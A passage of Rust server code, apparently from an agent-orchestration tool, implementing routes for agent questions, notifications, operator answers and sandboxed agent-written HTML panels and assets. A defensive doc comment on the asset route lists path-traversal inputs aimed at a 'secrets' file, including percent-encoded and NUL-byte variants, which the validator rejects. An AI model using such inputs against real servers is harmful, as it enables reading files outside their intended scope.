7229            .flat_map(|f| &f.pairs)
7230            .any(|p| !ids.insert(p.id))
7231        || comparison
7232            .fields
7233            .iter()
7234            .flat_map(|f| &f.original_triggers)
7235            .any(|t| !ids.insert(t.id))
7236    {
7237        return None;
7238    }
7239    let fields = comparison
7240        .fields
7241        .iter()
7242        .map(|f| f.view(comparison.excerpt))
7243        .collect::<Option<Vec<_>>>()?;
7244    Some(PostingView {
7245        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7246        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7247        fields,
7248    })
7249}
7250
7251impl QuestionView {
7252    /// The view of `question`, reading who is waiting on it from `store`.
7253    ///
7254    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7255    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7256        let base = md::ImageBase::QuestionPanel {
7257            id: question.id.clone(),
7258        };
7259        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7260        Self {
7261            choice_effects: question
7262                .choices
7263                .iter()
7264                .filter_map(|c| {
7265                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7266                })
7267                .collect(),
7268            record_revision: question_record_revision(&question),
7269            detail_md: md::to_nodes(&question.detail, &base),
7270            posting_view: posting_view(&question, &base),
7271            thread_bodies_md: question
7272                .thread
7273                .iter()
7274                .map(|t| md::to_nodes(&t.body, &base))
7275                .collect(),
7276            thread_notes_md: question
7277                .thread
7278                .iter()
7279                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7280                .collect(),
7281            deputy_exhausted: store.deputy_exhausted(&question),
7282            waiting_on_agent: question.waiting_on_agent(),
7283            holder,
7284            deputies_enabled: deputies_enabled(cfg, &question),
7285            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7286            run_is_task: question.run_names_task(),
7287            origin_chat: None,
7288            origin_chat_closed: false,
7289            can_consult_chat: false,
7290            question,
7291        }
7292    }
7293
7294    /// Fill `origin_chat` from the queue and the talks.
7295    fn with_origin(
7296        mut self,
7297        tasks: &[crate::queue::Task],
7298        talks: &[Talk],
7299        watches: &[crate::release_watch::WatchState],
7300    ) -> Self {
7301        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7302        self.can_consult_chat = consult.is_some();
7303        let talk =
7304            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7305        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7306        self.origin_chat = talk.map(|t| t.id);
7307        self
7308    }
7309}
7310
7311/// The config this repository resolves, or `None` when it cannot be read.
7312/// Discovering is git processes plus a config render, so a request that needs
7313/// it for many items takes it once and passes it down.
7314fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7315    Config::discover(repo, None).ok().map(|(c, _)| c)
7316}
7317
7318/// Can `magi serve` start a deputy for this question under `cfg`?
7319fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7320    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7321}
7322
7323/// The views `GET /api/questions` answers. `load` runs at most once, however
7324/// many questions there are, and not at all when there are none.
7325fn question_views(
7326    qs: Vec<Question>,
7327    store: &ask::Questions,
7328    load: impl FnOnce() -> Option<Config>,
7329) -> Vec<QuestionView> {
7330    if qs.is_empty() {
7331        return Vec::new();
7332    }
7333    let cfg = load();
7334    qs.into_iter()
7335        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7336        .collect()
7337}
7338
7339/// Who is honestly waiting on an open question right now: `"asker"` (the
7340/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7341/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7342/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7343/// up, or the question never had anyone listening (a conductor question or a
7344/// merge approval from before deputies, or not yet given one).
7345///
7346/// `None` for a question that is settled, and for one that is not an agent's
7347/// to wait on at all (a release notice).
7348fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7349    if !q.status.open() {
7350        return None;
7351    }
7352    if q.cwd.is_none()
7353        && q.deputy.is_none()
7354        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7355    {
7356        return crate::deputy::kind_of(q).map(|_| "nobody");
7357    }
7358    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7359        Some(_) if q.deputy.is_some() => "deputy",
7360        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7361        Some(_) => "asker",
7362        None => "nobody",
7363    })
7364}
7365
7366/// `GET /api/questions`.
7367///
7368/// Everything, not just the open ones: an answered question is the record of a
7369/// decision, and the phone is where the operator goes back to check what they
7370/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7371async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7372    blocking(move || {
7373        let questions = ui.questions.list();
7374        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7375        Ok(Json(
7376            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7377                .into_iter()
7378                .map(|view| view.with_origin(&tasks, &talks, &watches))
7379                .collect(),
7380        ))
7381    })
7382    .await
7383}
7384
7385/// Question content and answer controls never wait for task/chat provenance.
7386async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7387    blocking(move || {
7388        Ok(Json(question_views(
7389            ui.questions.list(),
7390            &ui.questions,
7391            || deputy_config(&ui.repo),
7392        )))
7393    })
7394    .await
7395}
7396
7397fn question_record_revision(question: &Question) -> String {
7398    use std::hash::{Hash as _, Hasher as _};
7399    let mut hash = std::hash::DefaultHasher::new();
7400    serde_json::to_vec(question)
7401        .expect("serializable question")
7402        .hash(&mut hash);
7403    format!("{:016x}", hash.finish())
7404}
7405
7406#[derive(Serialize)]
7407struct QuestionOriginView {
7408    id: String,
7409    record_revision: String,
7410    origin_chat: Option<String>,
7411    origin_chat_closed: bool,
7412    can_consult_chat: bool,
7413}
7414
7415async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7416    blocking(move || {
7417        let questions = ui.questions.list();
7418        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7419        Ok(Json(
7420            questions
7421                .into_iter()
7422                .map(|question| {
7423                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7424                    let can_consult_chat = consult.is_some();
7425                    let talk = crate::consult::associated_talk_with_watches(
7426                        &tasks, &talks, &question, &watches,
7427                    );
7428                    QuestionOriginView {
7429                        record_revision: question_record_revision(&question),
7430                        id: question.id,
7431                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7432                        origin_chat: talk.map(|talk| talk.id),
7433                        can_consult_chat,
7434                    }
7435                })
7436                .collect(),
7437        ))
7438    })
7439    .await
7440}
7441
7442type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7443
7444/// Only the task ancestry and chats these questions actually reference. Run
7445/// mappings share the reconciled queue index; exact task references bypass it.
7446/// No question means no task/chat I/O, including no index reconciliation.
7447fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7448    fn task_for_run(
7449        ui: &Ui,
7450        index: &mut Option<Vec<Arc<TaskRelation>>>,
7451        run: &str,
7452        loaded: &HashMap<String, Task>,
7453    ) -> ApiResult<Option<Task>> {
7454        if !plain_record_id(run) {
7455            return Ok(None);
7456        }
7457        if index.is_none() {
7458            *index = Some(ui.indexed_tasks()?);
7459        }
7460        Ok(index
7461            .as_ref()
7462            .expect("loaded index")
7463            .iter()
7464            .find(|task| task.runs.iter().any(|id| id == run))
7465            .and_then(|task| {
7466                loaded
7467                    .get(&task.id)
7468                    .cloned()
7469                    .or_else(|| ui.queue.get(&task.id).ok())
7470            })
7471            .filter(|task| task.runs.iter().any(|id| id == run)))
7472    }
7473    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7474        plain_record_id(id)
7475            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7476            .flatten()
7477            .filter(|task| task.id == id)
7478    };
7479    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7480    let mut index = None;
7481    let mut tasks = HashMap::new();
7482    let mut talks = HashMap::new();
7483    for question in questions {
7484        for reference in crate::consult::question_task_refs(question, &watches) {
7485            let mut current = match reference {
7486                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7487                crate::consult::QuestionTaskRef::Run(id) => {
7488                    task_for_run(ui, &mut index, id, &tasks)?
7489                }
7490            };
7491            let mut seen = HashSet::new();
7492            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7493                let Some(task) = current.take() else {
7494                    break;
7495                };
7496                if !seen.insert(task.id.clone()) {
7497                    break;
7498                }
7499                let chat = task.chat_talk().map(str::to_owned);
7500                let followup = task.followup.clone();
7501                tasks.insert(task.id.clone(), task);
7502                if let Some(chat) = chat {
7503                    if plain_record_id(&chat)
7504                        && !talks.contains_key(&chat)
7505                        && let Ok(talk) = ui.talks.get(&chat)
7506                    {
7507                        talks.insert(chat, talk);
7508                    }
7509                    break;
7510                }
7511                let Some(followup) = followup else {
7512                    break;
7513                };
7514                current = match followup.origin_task {
7515                    Some(id) => direct_task(&id, &tasks),
7516                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7517                };
7518            }
7519        }
7520    }
7521    let mut tasks: Vec<Task> = tasks.into_values().collect();
7522    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7523    Ok((tasks, talks.into_values().collect(), watches))
7524}
7525
7526/// `GET /api/notifications`: not dismissed, newest first, with the unread
7527/// count so the badge and the list cannot disagree.
7528async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7529    blocking(move || {
7530        let items = ui.notices.list();
7531        let unread = items.iter().filter(|n| n.unread()).count();
7532        let items: Vec<_> = items
7533            .into_iter()
7534            .map(|n| {
7535                let question = crate::notices::answerable_question(&n, &ui.questions);
7536                let mut item = serde_json::to_value(n)?;
7537                item["answerable_question"] = serde_json::json!(question);
7538                Ok(item)
7539            })
7540            .collect::<anyhow::Result<_>>()?;
7541        Ok(Json(
7542            serde_json::json!({ "unread": unread, "items": items }),
7543        ))
7544    })
7545    .await
7546}
7547
7548fn notice_error(e: anyhow::Error) -> ApiError {
7549    // An unknown or malformed id and a vanished file are the same answer to
7550    // the phone: that notification is gone.
7551    ApiError::not_found(format!("{e:#}"))
7552}
7553
7554/// `POST /api/notifications/{id}/read`.
7555async fn notification_read(
7556    State(ui): State<Arc<Ui>>,
7557    Path(id): Path<String>,
7558) -> ApiResult<Json<Notice>> {
7559    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7560}
7561
7562/// `POST /api/notifications/{id}/dismiss`.
7563async fn notification_dismiss(
7564    State(ui): State<Arc<Ui>>,
7565    Path(id): Path<String>,
7566) -> ApiResult<Json<Notice>> {
7567    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7568}
7569
7570/// `POST /api/notifications/read-all`.
7571async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7572    blocking(move || {
7573        let changed = ui.notices.mark_all_read()?;
7574        Ok(Json(serde_json::json!({ "marked": changed })))
7575    })
7576    .await
7577}
7578
7579/// The body of `POST /api/questions/{id}/answer`.
7580///
7581/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7582/// a bad request rather than a guess: an answer magi invented is worse than a
7583/// question left open.
7584#[derive(Debug, Default, Deserialize)]
7585#[serde(default, deny_unknown_fields)]
7586struct NewAnswer {
7587    choice: Option<String>,
7588    text: Option<String>,
7589    talk: Option<String>,
7590    head: Option<String>,
7591}
7592
7593async fn question_answer(
7594    State(ui): State<Arc<Ui>>,
7595    Path(id): Path<String>,
7596    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7597) -> ApiResult<Json<QuestionView>> {
7598    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7599    let answer = match (body.choice, body.text) {
7600        (Some(c), None) => Answer::Choice(c),
7601        (None, Some(t)) => Answer::Text(t),
7602        (Some(_), Some(_)) => {
7603            return Err(ApiError::bad_request(
7604                "send either `choice` or `text`, not both",
7605            ));
7606        }
7607        (None, None) => {
7608            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7609        }
7610    };
7611
7612    blocking(move || {
7613        let id = resolve_question(&ui.questions, &id)?;
7614        let q = ui
7615            .questions
7616            .get(&id)
7617            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7618        if !q.status.open() {
7619            // Answered from the terminal, or by another phone, in between the
7620            // list and the tap. The UI shows the recorded answer rather than an
7621            // error, so it needs the record, not just the status.
7622            return Err(ApiError::conflict(format!(
7623                "question {} is already {}",
7624                q.short(),
7625                q.status.as_str()
7626            )));
7627        }
7628        // `Question::answer` owns the rules - an unoffered choice, free text on
7629        // a multiple-choice question, an empty reply - so the route does not
7630        // restate them and cannot drift from the CLI's behaviour.
7631        let cfg = deputy_config(&ui.repo);
7632        let (q, ()) = ui
7633            .questions
7634            .update(&q.id, |r| {
7635                anyhow::ensure!(
7636                    r.routed_task.is_none() || r.merge_target.is_some(),
7637                    "task decisions are free text in the task chat; its agent records them with `magi task control decide`"
7638                );
7639                let merge = matches!(&answer, ask::Answer::Choice(c)
7640                    if crate::consult::consent(r, c) == crate::consult::Consent::Merge);
7641                // Buttons retain their displayed chat/head binding. A direct
7642                // decision does not require a button or a prior persona offer.
7643                if r.routed_task.is_some() && r.merge_target.is_some() && merge
7644                    && (body.talk.is_some() || body.head.is_some())
7645                {
7646                    let talk_id = body.talk.as_deref().context("approval button requires its chat")?;
7647                    let head = body.head.as_deref().context("approval button requires the displayed head")?;
7648                    let talk = ui.talks.get(talk_id)?;
7649                    anyhow::ensure!(
7650                        talk.status.open(),
7651                        "approval chat is closed"
7652                    );
7653                    r.answer_chat_button(answer, talk_id, head)
7654                } else {
7655                    r.answer(answer)
7656                }
7657            })
7658            .map_err(ApiError::bad_request_from)?;
7659        let (tasks, talks, watches) =
7660            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7661        Ok(Json(
7662            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7663        ))
7664    })
7665    .await
7666}
7667
7668/// A dedicated status avoids the client's settled-question 409 handling.
7669fn question_text_error(e: anyhow::Error) -> ApiError {
7670    let reason = e
7671        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7672        .map(|e| e.reason);
7673    let error = ApiError::bad_request_from(e);
7674    if let Some(reason) = reason {
7675        ApiError {
7676            text_reason: Some(reason),
7677            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7678        }
7679    } else {
7680        error
7681    }
7682}
7683
7684/// The body of `POST /api/questions/{id}/say`.
7685#[derive(Debug, Deserialize)]
7686#[serde(deny_unknown_fields)]
7687struct NewSay {
7688    body: String,
7689}
7690
7691/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
7692///
7693/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
7694/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
7695/// file, so there is no turn to serialize against and no
7696/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
7697/// is a *different* process - the run parked behind `magi ask` - and picks
7698/// the reply up on its own poll of the very same file, same as an answer
7699/// does.
7700async fn question_say(
7701    State(ui): State<Arc<Ui>>,
7702    Path(id): Path<String>,
7703    body: std::result::Result<Json<NewSay>, JsonRejection>,
7704) -> ApiResult<Json<QuestionView>> {
7705    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7706    blocking(move || {
7707        let id = resolve_question(&ui.questions, &id)?;
7708        let q = ui
7709            .questions
7710            .get(&id)
7711            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7712        if !q.status.open() {
7713            // Same granularity as `question_answer`: answered or abandoned in
7714            // between the list and the tap is not this route's error to
7715            // explain any differently.
7716            return Err(ApiError::conflict(format!(
7717                "question {} is already {}",
7718                q.short(),
7719                q.status.as_str()
7720            )));
7721        }
7722        // `Question::say` owns the one rule that matters here - an empty
7723        // message tells the agent nothing - so the route does not restate it.
7724        let cfg = deputy_config(&ui.repo);
7725        let (q, ()) = ui
7726            .questions
7727            .update(&q.id, |r| {
7728                if body.body.trim().is_empty() {
7729                    return r.say(body.body);
7730                }
7731                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7732                r.say(body.body)
7733            })
7734            .map_err(question_text_error)?;
7735        let (tasks, talks, watches) =
7736            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7737        Ok(Json(
7738            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7739        ))
7740    })
7741    .await
7742}
7743
7744/// A disconnected request or a replacing listener cannot interrupt the short
7745/// transaction between persistence and detached worker publication.
7746async fn admitted<T: Send + 'static>(
7747    admission: AdmissionGuard,
7748    work: impl Future<Output = ApiResult<T>> + Send + 'static,
7749) -> ApiResult<T> {
7750    tokio::spawn(async move {
7751        let result = work.await;
7752        drop(admission);
7753        result
7754    })
7755    .await
7756    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
7757}
7758
7759/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
7760/// came from. The question stays open: the chat agent answers it with `magi
7761/// answer`, or puts the decision to the owner in the conversation.
7762///
7763/// Answers 202 and runs the turn in the background, like every route that
7764/// spends agent calls. The text is queued as a draft of the existing talk, and
7765/// the turn goes through the talk's own gate and session; no seat or waiter is
7766/// started here.
7767async fn question_consult(
7768    State(ui): State<Arc<Ui>>,
7769    Path(id): Path<String>,
7770) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7771    let admission = ui.begin_admission()?;
7772    admitted(admission, async move {
7773        let (q, tasks, talks, watches, talk, cfg) = blocking({
7774            let ui = Arc::clone(&ui);
7775            move || {
7776                let id = resolve_question(&ui.questions, &id)?;
7777                let q = ui.questions.get(&id).map_err(|e| {
7778                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
7779                })?;
7780                if !q.status.open() {
7781                    return Err(ApiError::conflict(format!(
7782                        "question {} is already {}",
7783                        q.short(),
7784                        q.status.as_str()
7785                    )));
7786                }
7787                let (tasks, talks, watches) =
7788                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7789                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7790                    return Err(ApiError::conflict(format!(
7791                        "question {} has no chat to ask",
7792                        q.short()
7793                    )));
7794                };
7795                // Read the config before `begin` saves anything: a failure here
7796                // must leave no consult record or draft behind, or a retry would
7797                // see `fresh == false` and never start the turn.
7798                let cfg = if q.consult.is_none() {
7799                    Some(Config::discover(&talk.repo, None)?.0)
7800                } else {
7801                    None
7802                };
7803                Ok((q, tasks, talks, watches, talk, cfg))
7804            }
7805        })
7806        .await?;
7807        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
7808            .await
7809            .map_err(ApiError::from)?;
7810        let (view, reclaimed, submitted) = blocking({
7811            let ui = Arc::clone(&ui);
7812            move || {
7813                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7814                let claim = if fresh {
7815                    match ui.begin_queued_talk_turn(&talk.id)? {
7816                        Some(turn_guard) => {
7817                            let talk = ui.talks.get(&talk.id)?;
7818                            let cfg = match cfg {
7819                                Some(cfg) => cfg,
7820                                None => Config::discover(&talk.repo, None)?.0,
7821                            };
7822                            Some((talk, cfg, turn_guard))
7823                        }
7824                        None => None,
7825                    }
7826                } else {
7827                    None
7828                };
7829                let q = ui.questions.get(&q.id)?;
7830                let cfg = deputy_config(&ui.repo);
7831                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7832                    .with_origin(&tasks, &talks, &watches);
7833                Ok((view, claim, fresh.then_some(talk.id)))
7834            }
7835        })
7836        .await?;
7837        #[cfg(not(test))]
7838        {
7839            if let Some(id) = submitted {
7840                crate::consult::spawn_turn(&ui.talks, &id)
7841                    .await
7842                    .map_err(ApiError::from)?;
7843            }
7844            drop(reclaimed);
7845        }
7846        #[cfg(test)]
7847        let _ = submitted;
7848        #[cfg(test)]
7849        if let Some((talk, cfg, turn_guard)) = reclaimed {
7850            let talks = ui.talks.clone();
7851            let id = talk.id.clone();
7852            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7853        }
7854        Ok((StatusCode::ACCEPTED, Json(view)))
7855    })
7856    .await
7857}
7858
7859/// Expand an id or short id to exactly one question id.
7860fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7861    if plain_record_id(id) && store.path_of(id).is_file() {
7862        return Ok(id.to_owned());
7863    }
7864    pick(
7865        store.list().into_iter().map(|q| q.id).collect(),
7866        id,
7867        "question",
7868    )
7869}
7870
7871/// `GET /api/questions/{id}/panel`.
7872///
7873/// The panel an agent wrote for this question, as `text/html` under
7874/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
7875/// A question without one is a 404 rather than an empty page: the client
7876/// preflights this route with `HEAD` and must be able to tell "no panel" from
7877/// "a panel that rendered blank", and a sandboxed frame is opaque to the
7878/// parent document so it cannot tell the difference by looking.
7879///
7880/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
7881/// sanitises or minifies it - a sanitiser is a list of things someone thought
7882/// of, and the sandbox plus the CSP is a list of things that are allowed, which
7883/// is the direction that stays safe when an agent writes markup nobody
7884/// predicted.
7885async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7886    blocking(move || {
7887        let id = resolve_question(&ui.questions, &id)?;
7888        let Some(html) = ui.questions.panel_html(&id) else {
7889            return Err(ApiError::not_found(format!("question {id} has no panel")));
7890        };
7891        Ok(panel_response(
7892            "text/html; charset=utf-8",
7893            false,
7894            html.into_bytes(),
7895        ))
7896    })
7897    .await
7898}
7899
7900/// `GET /api/questions/{id}/asset/{name}`.
7901///
7902/// One file from the question's own panel directory, so a panel can show a
7903/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7904/// having to allow anything off this machine.
7905///
7906/// This is the only route in the server where a client names a file, so it is
7907/// the only one with a traversal surface, and the name is checked by
7908/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7909/// what is worth being explicit about, because the answer is not "all of it in
7910/// one place":
7911///
7912/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7913///   the raw request path and `{name}` spans exactly one segment, so a real
7914///   slash makes the request too long for the route and the router answers 404.
7915/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7916///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7917///   `..\secrets` respectively, which look like plain filenames to the router.
7918///   The validator refuses them here - both for the literal `..` and because
7919///   `/` and `\` are not in the permitted character set - and answers 400.
7920/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7921///   the platform's path API is not, and it is refused here for the same
7922///   reason: NUL is not a permitted character.
7923/// * [`Questions::panel_asset`] validates again on read, so the check is not
7924///   load-bearing in only one place. This route's own check exists so the
7925///   failure is a 400 that says which name was wrong, rather than a store error
7926///   the operator has to interpret.
7927async fn question_asset(
7928    State(ui): State<Arc<Ui>>,
7929    Path((id, name)): Path<(String, String)>,
7930) -> ApiResult<Response> {
7931    // Before any filesystem work and before any path is built: a name this
7932    // server will not serve should not become a `PathBuf` at all.
7933    if !crate::ask::valid_asset_name(&name) {
7934        return Err(ApiError::bad_request(format!(
7935            "`{name}` is not a usable asset name"
7936        )));
7937    }
7938    blocking(move || {
7939        let id = resolve_question(&ui.questions, &id)?;
7940        let asset = ui
7941            .questions
7942            .panel_asset(&id, &name)
7943            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7944        let Some(bytes) = asset else {
7945            return Err(ApiError::not_found(format!(
7946                "question {id} has no asset `{name}`"
7947            )));
7948        };
7949        Ok(panel_response(
7950            asset_content_type(&name),
7951            is_svg(&name),
7952            bytes,
7953        ))
7954    })
7955    .await
7956}
7957
7958/// Content type for a panel asset, from a closed whitelist.
7959///
7960/// A whitelist with an `application/octet-stream` fallback rather than a
7961/// guess, because the one answer that must never come out of here is
7962/// `text/html`. An agent that writes `notes.html` into its panel directory and
7963/// links it would otherwise get its own markup rendered at the top level of the
7964/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7965/// magi's origin - which is precisely the thing the panel design exists to
7966/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7967///
7968/// `nosniff` accompanies this on every response, so a browser cannot decide it
7969/// knows better than the type we sent.
7970fn asset_content_type(name: &str) -> &'static str {
7971    match extension(name).as_deref() {
7972        Some("png") => "image/png",
7973        Some("jpg" | "jpeg") => "image/jpeg",
7974        Some("gif") => "image/gif",
7975        Some("webp") => "image/webp",
7976        Some("svg") => "image/svg+xml",
7977        Some("css") => "text/css; charset=utf-8",
7978        Some("txt") => "text/plain; charset=utf-8",
7979        _ => "application/octet-stream",
7980    }
7981}
7982
7983/// Is this an SVG, and therefore a file that must never be opened at the top
7984/// level?
7985fn is_svg(name: &str) -> bool {
7986    extension(name).as_deref() == Some("svg")
7987}
7988
7989/// Lowercased extension, or `None` for a name without one.
7990fn extension(name: &str) -> Option<String> {
7991    name.rsplit_once('.')
7992        .map(|(_, ext)| ext.to_ascii_lowercase())
7993}
7994
7995/// Every panel response, with the four headers that make it safe and, for an
7996/// SVG, a fifth.
7997///
7998/// One function rather than a header list per handler, because a panel route
7999/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8000/// model gone, silently, on one of two routes. Adding a third panel route later
8001/// means calling this, and there is nowhere else to build a panel response.
8002///
8003/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8004/// as an `<img src>` inside the panel that script cannot run - but the asset
8005/// URL is also a plain URL an operator can be talked into opening in a tab,
8006/// where it is a document on magi's own origin. `Content-Disposition:
8007/// attachment` makes the browser download it instead of rendering it, which
8008/// closes that door without taking away the ability to draw a diff. Raster
8009/// images have no such execution surface and are left inline, so tapping a
8010/// screenshot still shows it.
8011fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8012    let mut res = (
8013        [
8014            (header::CONTENT_TYPE, content_type),
8015            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8016            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8017            (header::REFERRER_POLICY, "no-referrer"),
8018        ],
8019        body,
8020    )
8021        .into_response();
8022    if download {
8023        res.headers_mut().insert(
8024            header::CONTENT_DISPOSITION,
8025            HeaderValue::from_static("attachment"),
8026        );
8027    }
8028    res
8029}
8030
8031/// A talk as the phone reads it.
8032///
8033/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8034/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8035/// parses markdown itself - and the process-local `thinking` hint.
8036#[derive(Debug, Serialize)]
8037struct ChatApproval {
8038    question: String,
8039    target: crate::merge_decision::Target,
8040}
8041
8042#[derive(Debug, Serialize)]
8043struct TalkView {
8044    #[serde(flatten)]
8045    talk: Talk,
8046    turn_bodies_md: Vec<Vec<md::Node>>,
8047    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8048    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8049    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8050    merge_approvals: Vec<ChatApproval>,
8051    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8052    /// this server process.
8053    ///
8054    /// This is deliberately not durable: another server process cannot see
8055    /// it, and a restarted server must not claim an old turn is live. It is a
8056    /// progress hint rather than proof a reply landed; the transcript remains
8057    /// the source of truth for that.
8058    thinking: bool,
8059    /// Context-window usage, derived per request - see
8060    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8061    /// and each mutation) so the phone needs no extra call or polling.
8062    context: talk::ContextUsage,
8063    /// `[talk] operator_name`, when configured; the Chat labels the
8064    /// operator's turns with it.
8065    operator_name: Option<String>,
8066    /// The active persona's display name; `None` for the default voice.
8067    persona_name: Option<String>,
8068    /// URL of the avatar for the conversation's persona (the default voice
8069    /// included). Server-built; a configured `icon` never reaches the client.
8070    persona_avatar: String,
8071    /// Operator avatar; display only and independent of repository config.
8072    operator_avatar: String,
8073    magi_avatar: String,
8074}
8075
8076impl TalkView {
8077    /// Reads the talk's repository config itself; a config that cannot be
8078    /// read leaves the window unknown but never fails the conversation.
8079    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8080        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8081        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8082    }
8083
8084    /// As [`Self::new`], with the config already in hand (the list reads one
8085    /// per repository, not one per conversation).
8086    fn with_config(
8087        talk: Talk,
8088        thinking: bool,
8089        cfg: Option<&Config>,
8090        home: &FsPath,
8091        cache: &id_links::IndexCache,
8092    ) -> Self {
8093        let references = cache.for_talk(home, &talk);
8094        Self::with_references(talk, thinking, cfg, home, &references)
8095    }
8096
8097    fn with_references(
8098        mut talk: Talk,
8099        thinking: bool,
8100        cfg: Option<&Config>,
8101        home: &FsPath,
8102        references: &id_links::IdIndex,
8103    ) -> Self {
8104        // This owned value is the display DTO; never write it back to the talk store.
8105        let snapshot = talk.clone();
8106        for (index, turn) in talk.turns.iter_mut().enumerate() {
8107            let original = &snapshot.turns[index];
8108            if turn.messages.is_empty() {
